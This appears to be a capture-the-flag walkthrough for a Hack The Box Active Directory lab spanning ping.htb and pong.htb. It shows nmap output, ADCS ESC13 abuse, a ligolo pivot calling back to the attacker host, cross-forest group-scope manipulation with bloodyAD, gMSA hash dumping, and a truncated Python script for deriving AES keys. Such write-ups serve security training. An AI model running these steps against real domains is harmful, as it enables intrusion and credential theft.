| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after:  2106-04-20T18:54:50
| MD5:     76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1:   938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
2179/tcp  open  vmrdp?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after:  2106-04-20T18:54:50
| MD5:     76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1:   938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: ping.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Issuer: commonName=ping-DC1-CA/domainComponent=ping
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-20T18:54:50
| Not valid after:  2106-04-20T18:54:50
| MD5:     76f1 cc4a 1f6c 0942 141b 551e 31d4 8c32
| SHA-1:   938c 7f61 d13d cfb8 1629 e02f f3dc 7a56 6f04 714c
| SHA-256: e00e be1c 40ed 4b32 aabf 56a1 53df 2b89 f899 ea02 8462 e3dc db9e 25be 8ca2 4730
| -----BEGIN CERTIFICATE-----
| MIIF1jCCBL6gAwIBAgITHAAAABBXNgfx016uKwACAAAAEDANBgkqhkiG9w0BAQsF
| ADBBMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEcGluZzEU
| MBIGA1UEAxMLcGluZy1EQzEtQ0EwIBcNMjYwNDIwMTg1NDUwWhgPMjEwNjA0MjAx
| ODU0NTBaMAAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC4oA+lzH17
| zBUauEXc+KI0rvaZKP6EYV34FGEYOto36KlEeWuJVIxfJUAA8uws2WM8Ku0+yRMF
| De5KtitSD5qDUZy87QL9Mewbwu1/XWjuhbYIslo+xq2yXXolqxaDEwN5uwKYwpRt
| S5+fmQob8MahVp8T8gKEKjYirht+DQA86ejVvYIE2fffA8JunIZAdcEDifX+A32b
| BGVnjz2B5y00olpB7rdrhSM30GKgRTq28U4S3zcmSj8A1ZxUky1fj8EZls7VaE7Z
| IDvVo3x4/4+Og33C0Xio2euWUxOvkN6ihD8K7tbiAPwbuuJcxxYSLECeU4TIDgVX
| 4sX3FUmBEoNpAgMBAAGjggMEMIIDADA3BgkrBgEEAYI3FQcEKjAoBiArBgEEAYI3
| FQiC4sJhgfm1YoaBjSX+l3aEoO87gVYBIQIBbgIBADAyBgNVHSUEKzApBggrBgEF
| BQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0PAQH/BAQD
| AgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwDAYK
| KwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBTf8xLW2hUhKLVgFFLTYeyL
| wxhlFDAfBgNVHSMEGDAWgBQwyA7RMsrOrWzwAmsfjoCaa5tCmTCBxQYDVR0fBIG9
| MIG6MIG3oIG0oIGxhoGubGRhcDovLy9DTj1waW5nLURDMS1DQSgyKSxDTj1kYzEs
| Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
| PUNvbmZpZ3VyYXRpb24sREM9cGluZyxEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0
| aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIG6
| BggrBgEFBQcBAQSBrTCBqjCBpwYIKwYBBQUHMAKGgZpsZGFwOi8vL0NOPXBpbmct
| REMxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2
| aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXBpbmcsREM9aHRiP2NBQ2VydGlmaWNh
| dGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MCoGA1Ud
| EQEB/wQgMB6CDGRjMS5waW5nLmh0YoIIcGluZy5odGKCBFBJTkcwTgYJKwYBBAGC
| NxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIxLTc1MDYzNTYyNC0yMDU4
| NzIxOTAxLTE5MzIzMzgzOTEtMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAC/FMPSx+
| QwynyJ4ILaexQmifWpp9Q4x9SOr+oYmoP5PiY0oah5LjePJHyteXjLPumOpfcT3n
| eBN5WZK7E0dPk/5NQ5tW1OBo0ICbVBT9BExAdlBa06LM9fx1Ih25/WjqdPqREOBw
| f3Q660aGgsaej75UrLkh03k/v7krVZjaPaBiYHwGIEvebuVPVJGmrXiolLirVEDz
| rMTaJP8vC3KnLIh3KUIrDLcSMDq8dPUTqyRpyUnvSPOAFk07in7kHhjGjzznX/sl
| XIPba/Oa19poYE26tpxNhhs/s75GAstQE8PPhGxkrb3jFYKF0FA7kfM725mJq+Tv
| 8OK8tm98KSpwtw==
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
57674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57757/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57773/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57819/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 11478/tcp): CLEAN (Timeout)
|   Check 2 (port 31702/tcp): CLEAN (Timeout)
|   Check 3 (port 39446/udp): CLEAN (Timeout)
|   Check 4 (port 54030/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s
| smb2-time: 
|   date: 2026-04-26T14:01:04
|_  start_date: N/A

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 26 11:31:46 2026 -- 1 IP address (1 host up) scanned in 494.05 seconds

Now let’s generate the hosts file using nxc

nxc smb 10.129.36.29 --generate-hosts pingpong.conf

and add the entry in /etc/hosts

cat pingpong.conf| sudo tee -a /etc/hosts

Let’s start with share enumeration first

it shows that the NOT_SUPPORTED that means it requires the Kerberos authentication

Now still the nmap is running so we can query the DC time using

ntpdate -q dc1.ping.htb

Time of DC, we can now use faketime

faketime -f '2026-04-26 19:28:47' nxc smb dc1.ping.htb -u c.roberts -p AssumedBreach123 -k

Nice, but the nmap gives us good clarity around this as it directly shows the how many hours we need to +/- as per the DC time, but for now this is also another technique we can use

now let’s query for available SMB shares, but everytime using this faketime for now it little bit frustrating as we are in VM so we can just SYNC our time with dc using

ntpdate -r dc1.ping.htb

[Don’t forget to run command as root]

now let’s continue towards our enumration

nxc smb dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --shares

nothing useful, let’s dump the usernames using --usersflag

nxc smb dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --users | tee -a nxc.out

and now let’s use the some bash commands to get clean users.txt

cat nxc.out| awk '{print $5}' | tail -n +4 | head -n -1 > users.txt

now let’s get the bloodhound data using bloodhound-python

first we need to get TGT for the user using impacket-getTGT

impacket-getTGT 'ping.htb'/'c.roberts':'AssumedBreach123' -dc-ip 10.129.36.29

and now let’s use the TGT to get bloodhound data

KRB5CCNAME=c.roberts.ccache bloodhound-python -c all -d ping.htb -u c.roberts -k -no-pass -ns 10.129.36.29 -dc dc1.ping.htb --use-ldaps

we got following error

let’s use the command again with the -vflag to get verbose output

KRB5CCNAME=c.roberts.ccache bloodhound-python -v -c all -d ping.htb -u c.roberts -k -p AssumedBreach123 -ns 10.129.36.29 -dc dc1.ping.htb

keep as it is let’s use the nxc instead (note: it requires the bloodhound-CE)

nxc ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --bloodhound

if you get above error make sure to turn off Bloodhound-CE conf from nxc configuration file

i’m not able to make it work, now let’s use another path, as we know the ADCS is running let’s check fi we can get anything useful from it

before moving forward we can generate krb5-conf using nxc

nxc smb dc1.ping.htb -u 'c.roberts' -p AssumedBreach123 -k -d ping.htb --generate-krb5 ping-krb.conf

move the file to /etc/krb5.conf

now let’s start with ADCS

nxc ldap dc1.ping.htb -u 'c.roberts' -p AssumedBreach123 -k -d ping.htb -M adcs

now let’s use the certipy to get ADCS information

certipy-ad find -u c.roberts -k -no-pass -dc-host dc1.ping.htb

let’s view the output of the certipy

now if we see more there’s ESC13 vulnerability

searching on google gives us good article

Certificate templates | The Hacker Recipes

so we can directly request the certificate

certipy-ad req -u "c.roberts@ping.htb" -k  -no-pass -dc-host dc1.ping.htb -target dc1.ping.htb -ca 'ping-DC1-CA' -template 'TemporaryWinRM'

let’s check if we got access to winrm or not using evil-winrm

but as we are only having the pfx file it will not work with the winrm directly first we’ll use the PFX to get a TGT

python gettgtpkinit.py PING.HTB/c.roberts -cert-pfx c.roberts.pfx -pfx-pass "" c.roberts.ccache

let’s login to DC1 using evil-winrm

evil-winrm -i dc1.ping.htb -u c.roberts -r ping.htb

still no user.txt let’s check out group membership

we are member of IT groups

let’s check network interfaces, using ipconfig

so possibly we can tunnel and then try to check if anything on internal network and then again try to run bloodhound as now we need to check what ACLs our user is holding

now let’s upload the ligolo agent and then pivot into internal network

now start the ligolo proxy on kali using

sudo ~/tools/ligolo/proxy -selfcert

and from DC1 machine

Start-Process -NoNewWindow -File "C:\temp\agent.exe" -ArgumentList "-connect 10.10.15.132:11601 -ignore-cert"

and then when agent connected, use autoroute to add the route to 192.168.2.1/24

now let’s use the nxcto scan the 192.168.2.1/24

nxc smb 192.168.2.1/24

we found that there’s another forest/domain, let’s generate the hosts file for this one as well

nxc smb 192.168.2.2 --generate-hosts pong.conf

cat pong.conf| sudo tee -a /etc/hosts

also we need to first modify our /etc/krb5.conf first generate the same for PONG.HTB

and final /etc/krb5.conf looks like as below

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false

[realms]
    PING.HTB = {
        kdc = dc1.ping.htb
        admin_server = dc1.ping.htb
        default_domain = ping.htb
    }

    PONG.HTB = {
        kdc = dc2.pong.htb
        admin_server = dc2.pong.htb
        default_domain = pong.htb
    }

[domain_realm]
    .ping.htb = PING.HTB
    ping.htb = PING.HTB

    .pong.htb = PONG.HTB
    pong.htb = PONG.HTB

we can verify our creds are valid on PONG.HTB using

nxc smb dc2.pong.htb -u c.roberts -p AssumedBreach123 -k -d ping.htb

Let’s use the powerview and try to enumerate the useful things

Import-Module .\PowerView.ps1

Get-DomainTrust

checking the Trust

we can see that we have Bidirectional forest trust

and then i’ve transfered the SharpHound.exe to target machine and dump the AD data

.\SharpHound.exe --collectionmethods All

and then download the zip file

download 20260426092856_BloodHound.zip

now upload the data to bloodhound

we first can see that CrossForestTrust is available

to enumerate the PONG.HTB we need the cross-realm TGT

as we can see we only having access to PING.HTB services

<aside> 💡

kvno (Kerberos Version Number) requests a service ticket for a specific SPN and prints the key version number of that ticket.

</aside>

kvno -S ldap dc2.pong.htb

now we can see that we have the ticket which we can present to PONG.HTB / DC2

and from dc1 let’s use sharphound to collect data of the PONG.HTB

\SharpHound.exe --CollectionMethods All --domain pong.htb --ldapusername 'c.roberts@ping.htb' --ldappassword AssumedBreach123 --domaincontroller dc2.pong.htb

and upload the pong.htb data to bloodhound

now let’s analyze the data we got

first we can see that c.roberts is the member of PING\IT and it owns the PONG\GMSA Managers

PONG\GMSA Managers → ReadGMSAPassword → Pong_gMSA$

Now first let’s give us full control over the GMSA Managers

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb add genericAll 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB' 'c.roberts@ping.htb'

but it is not able to find our user in PONG.HTB, obiviously as the user exists in PING.HTB

so let’s try to specify the SID as it will accept it (get c.roberts SID from Bloodhound)

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb add genericAll 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB' 'S-1-5-21-750635624-2058721901-1932338391-2617'

now let’s ourselves into the group

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb add groupMember 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB' 'S-1-5-21-750635624-2058721901-1932338391-2617'

as ChatGPT says the error comes from the ActiveDirectory we can first check the object properties using get objectcommand

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb get object 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB'

we give this data to AI and let it do something for us luckily the gemini found the issue

Here is how the math works for your specific value:

Property	Bitmask Value (Hex)	Bitmask Value (Decimal)	Description
Global Scope	`0x00000002`	`2`	Member of the "Global" scope.
Security Type	`0x80000000`	`-2147483648`	Marks it as a Security group (used for ACLs).
Total	`0x80000002`	-2147483646	The result of adding the two together.

so the summary is the GMSA Managers is the Global Security group and it allows to add members only from the same domain

so now the thing is clear to us.

Active Directory Security Groups

and the GMSA managers is the Global group and we need to take it to Domain Local

another article that seems useful to me - https://www.experts-exchange.com/questions/28254575/how-to-add-trusted-domain-users-to-security-groups.html

first we need to Go to global to Universal and then Domain Local group

Changing a Group's Scope or Type - Win32 apps

<aside> 💡

Group type values for reference:

Value	Type
`-2147483646`	Global Security (current)
`-2147483644`	Domain Local Security ← change to this
`-2147483640`	Universal Security
</aside>

first we’ll change the grouptype to Universal

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb set object 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB' groupType -v -2147483640

Just Testing ;)

<aside> 💡

NOTE:

if we try to directly change Global → Domain Local it gives below error

</aside>

and now we can change it to Universal → Domain Local group

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb set object 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB' groupType -v -2147483644

and now we can add our user into the group

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb add groupMember 'CN=GMSA MANAGERS,CN=USERS,DC=PONG,DC=HTB' 'S-1-5-21-750635624-2058721901-1932338391-2617'

now we can try to dump the GMSA password using nxc

nxc ldap dc2.pong.htb -u 'c.roberts' -p AssumedBreach123 -k -d ping.htb -k --gmsa

NTLM: 4b85a2a049588810c1267e4018b07a07

if we see on the dc1 pong_gMSA$ is logged in

But to access evil-winrm we need the TGT and we don’t have the user’s password 😟

if we check it requires the aeskey and we are only having the NTLM hash

also while checking the bloodhound data i found the description on Pong_gMSA$ account

Less is more, PowerShell Just Enough Administration

some searching reveals there should be some configuration stored on the machine for JEA

https://learn.microsoft.com/en-us/powershell/scripting/security/remoting/jea/session-configurations?view=powershell-7.6

let’s search for the .pssc on the DC1, we found file under C:\ProgramData\JEA\JEA.pssc

Get-ChildItem -Path C:\ProgramData -Recurse -Filter *.pssc  -ErrorAction SilentlyContinue

Let’s read the file

But now the question is how to get the aeskey, some google search reveals we need the encrypted blob of the msDS-ManagedPassword

Don’t forgot to Request new TGT, as it wasted my 30-35 minutes 😟

bloodyAD -d pong.htb -u c.roberts -k --host dc2.pong.htb get object 'CN=PONG_GMSA,CN=MANAGED SERVICE ACCOUNTS,DC=PONG,DC=HTB' --attr msDS-ManagedPassword

Claude gives us the script that will give us the AES key we needed

#!/usr/bin/env python3
"""
bloodyAD already gives us the NTLM. 
Compute AES keys directly from the NT hash without touching the blob.
"""
from binascii import hexlify, unhexlify
from impacket.krb5 import constants
from impacket.krb5.crypto import string_to_key

SAM    = "PONG_GMSA"
DOMAIN = "pong.htb"

# Take NTLM directly from bloodyAD output — no blob parsing needed
NT_HASH = "4b85a2a049588810c1267e4018b07a07"

# The NT hash IS the MD4 of the UTF-16LE password
# We can't reverse it to get AES keys — we need the raw password bytes.
# BUT bloodyAD gives us B64ENCODED which IS the raw blob — we just need
# to find the CurrentPassword inside it correctly.

import base64, struct

B64 = "eFkbWLHQ9ZrAkNUPkIoyBnuGsnXyZOPO5eNOWWlCXuW+gcHc8jj3TpS1td5uZu2q3PoJBjL68DchzLF7DRcebEPpqm2SigCrJiwtO/C+RMfgVtphZX8BTmckbsUG2dDbiSLW6gj1jMN8Z9oMmpcbSuAshl5uZU2iCIOBdo3rinaX28jwCTKhkaELO+V+CLmoOfRJ2bYjL8V1QzJssh0/RuiaQ+bRLMasy8cLZ24mZhf3/4akKyRSn39X3E+RT7DEc7xHrxBVevTGTsIeD/3OfzMXs5ZW3fc0Iiut/d4heHjhkIfZhsmDQaZmGq4BMi+rG4HY+6gBkNyvHk3rRa9ozQ=="

raw = base64.b64decode(B64)

print(f"[*] Blob length : {len(raw)} bytes")
print(f"[*] Full hex    :\n{raw.hex()}\n")

# The MSDS_MANAGEDPASSWORD_BLOB header is:
# Offset 0 : Version (uint16) = 1
# Offset 2 : Reserved (uint16) = 0  
# Offset 4 : Length (uint32)
# Offset 8 : CurrentPasswordOffset (uint16) = always 16
# Offset 10: PreviousPasswordOffset (uint16)
# Offset 12: QueryPasswordIntervalOffset (uint16)
# Offset 14: UnchangedPasswordIntervalOffset (uint16)
# Offset 16: CurrentPassword starts here

# The blob we have starts with 78 59 -- Version=0x5978=22904, NOT 1
# This means bloodyAD's B64ENCODED is NOT the raw ldap attribute --
# it's already been processed/encrypted differently by bloodyAD.

# Proof: brute-scan the blob for the 240-byte UTF-16LE password
# A 240-byte UTF-16LE string = 120 UTF-16 chars, every other byte often 0x00
from Cryptodome.Hash import MD4

print("[*] Scanning blob for UTF-16LE password block (checking all 16-byte-aligned offsets)...")
found = False
for offset in range(0, len(raw) - 16, 2):
    for pw_len in [240, 256, 224, 208, 192, 176, 160]:
        if offset + pw_len > len(raw):
            continue
        candidate = raw[offset:offset + pw_len]
        h = MD4.new()
        h.update(candidate)
        if h.hexdigest() == NT_HASH:
            print(f"[+] Found password at offset {offset}, length {pw_len} bytes!")
            currentPassword = candidate
            found = True
            break
    if found:
        break

if not found:
    # Try without stripping null terminator
    print("[*] Trying with null terminator included...")
    for offset in range(0, len(raw) - 16, 2):
        for pw_len in [242, 258, 226, 210, 194]:
            if offset + pw_len > len(raw):
                continue
            candidate = raw[offset:offset + pw_len - 2]  # strip last 2
            h = MD4.new()
            h.update(candidate)
            if h.hexdigest() == NT_HASH:
                print(f"[+] Found password at offset {offset}, length {pw_len} (with terminator)")
                currentPassword = candidate
                found = True
                break
        if found:
            break

if not found:
    print("[-] Could not locate password in blob via NTLM verification.")
    print("    The B64ENCODED from bloodyAD may be encrypted/wrapped.")
    print("    Use bloodyAD's --raw flag or extract via a different method.")
    import sys; sys.exit(1)

# Compute AES keys
pw_utf8 = currentPassword.decode('utf-16-le', 'replace').encode('utf-8')
salt    = f'{DOMAIN.upper()}host{SAM.lower()}.{DOMAIN.lower()}'
print(f"[*] Salt : {salt}")

